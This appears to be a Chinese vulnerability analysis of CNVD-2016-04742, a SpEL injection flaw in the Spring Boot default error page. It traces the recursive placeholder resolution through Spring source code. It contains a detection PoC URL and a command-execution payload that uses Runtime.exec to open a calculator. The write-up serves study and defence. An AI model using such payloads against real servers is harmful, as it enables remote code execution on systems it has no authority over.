Skip to content

Latest commit

 

History

History
186 lines (156 loc) · 7.6 KB

CNVD-2016-04742.md

File metadata and controls

186 lines (156 loc) · 7.6 KB

SpringBoot框架SPEL注入漏洞分析(CNVD-2016-04742)

0x00 Introduction

  • CNVD-2016-04742
  • SPEL注入经典洞,可以通过SpringBoot默认错误页面触发。

环境准备

SpringBoot框架影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0

0x01 漏洞分析

  • 检测PoC: http://localhost:9091/article?id=${9*9}
  • 命令执行EXP: http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

Controller逻辑代码如下,当传入的参数id不是int型强制转换时候报错,会将参数传递给error页面,参数中会检测是否存在${},递归解析SPEL,进而触发漏洞。

@RestController
@EnableAutoConfiguration
public class Article {
    @RequestMapping("/article")
    public String hello(String id){
        int total = 100;
        String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id));
        return message;
    }
}

0x02 调试分析

我们使用- 命令执行EXP: http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}进行调试,通过弹计算机方便定位触发点。

抛出异常

Spring框架中org.springframework.web.servlet.DispatcherServlet调度Servlet的执行。当请求发送过来会 第一次doDispatch(),进而抛出异常,这不是关注重点,调试可以省略。
调度处理函数:

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    HttpServletRequest processedRequest = request;
    HandlerExecutionChain mappedHandler = null;
    boolean multipartRequestParsed = false;
    WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

    try {
        try {
            ModelAndView mv = null;
            Exception dispatchException = null;

            try {
                processedRequest = this.checkMultipart(request);
                ...
                //处理request报错,抛出异常
                mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                ...
            } catch (Exception var19) {
                //最里层的try,设置异常类型,不return
                dispatchException = var19;
            }
            //处理请求结果,dispatchException如果不为null接着抛出异常
            this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
            } 
            catch (Exception var20) {
            //进入第二层异常处理
                
            } 
            catch (Error var21) {
                this.triggerAfterCompletionWithError(processedRequest, response, mappedHandler, var21);
            }

返回报错页面

第二次调用doDispatch(),报错界面view处理,没有抛异常,正常走processDispatchResult()

进而调用链是 org.springframework.web.servlet.DispatcherServlet.render()--> org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration.render(),主要是用来渲染报错页面的, 因为,poc中int型转换报错,会把字符串信息也一并出入message标量中。 message参数为:
message -> For input string: "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}"

 public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
    if (response.getContentType() == null) {
        response.setContentType(this.getContentType());
    }

    Map<String, Object> map = new HashMap(model);
    map.put("path", request.getContextPath());
    this.context.setRootObject(map);
    //替换占位符${},后续触发spel解析
    String result = this.helper.replacePlaceholders(this.template, this.resolver);
    response.getWriter().append(result);
}

递归解析

问题在于org.springframework.util.PropertyPlaceholderHelperparseStringValue(),对于传入的模板字符会检测占位符(${}),进而通过spel解析,但是它会递归解析这个过程。

函数如下:

protected String parseStringValue(String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {
    StringBuilder result = new StringBuilder(strVal);
    //`placeholderPrefix = "${"`
    int startIndex = strVal.indexOf(this.placeholderPrefix);
    while(startIndex != -1) {
        //找}闭合字符
        int endIndex = this.findPlaceholderEndIndex(result, startIndex);
        //存在${}进入分支
         if (endIndex != -1) {
            String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
            String originalPlaceholder = placeholder;
            if (!visitedPlaceholders.add(placeholder)) {
                throw new IllegalArgumentException("Circular placeholder reference '" + placeholder + "' in property definitions");
            }
            //递归,返回字符串
            placeholder = this.parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
            //通过spel获取值
            String propVal = placeholderResolver.resolvePlaceholder(placeholder);
            if (propVal != null) {
                //递归,通过上一个spel获取的值,通过递归再走一遍,也就是说如果值中存在${}占位符,依旧可以通过spel执行
                propVal = this.parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
                result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
                if (logger.isTraceEnabled()) {
                    logger.trace("Resolved placeholder '" + placeholder + "'");
    ...         

传入的参数strVal如下,是报错页面的模板。

<html>
    <body>
        <h1>Whitelabel Error Page</h1>
        <p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
        <div id='created'>${timestamp}</div>
        <div>There was an unexpected error (type=${error}, status=${status}).</div>
        <div>${message}</div>
    </body>
</html>

解析器对象placeholderResolver,主要存页面渲染的参数值。

exception=java.lang.NumberFormatException,
path=, 
error=Internal Server Error, 
message=For input string: "${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}", 
timestamp=Thu Dec 14 12:41:59 CST 2023, 
status=500

看函数代码,首先在模板中寻找第一个${},一直递归找不到位置。
我们拿最后一个${message}为例。

  1. 通过前面定位到${,取出${}中的值是message,然后递归解析message,不存在嵌套则返回message。
  2. 随后通过placeholderResolver.resolvePlaceholder(placeholder)进行spel解析,通过上下文寻找message对应的value值取出。
  3. 接着递归,会再次寻找占位符,进而触发spel解析,造成漏洞执行。

spel解析点 org.springframework.util.PropertyPlaceholderHelper.resolvePlaceholder()

public String resolvePlaceholder(String name) {
    Expression expression = this.parser.parseExpression(name);

    try {
        //spel执行点
        Object value = expression.getValue(this.context);
        return HtmlUtils.htmlEscape(value == null ? null : value.toString());
    } catch (Exception var4) {
        return null;
    }
}

Ref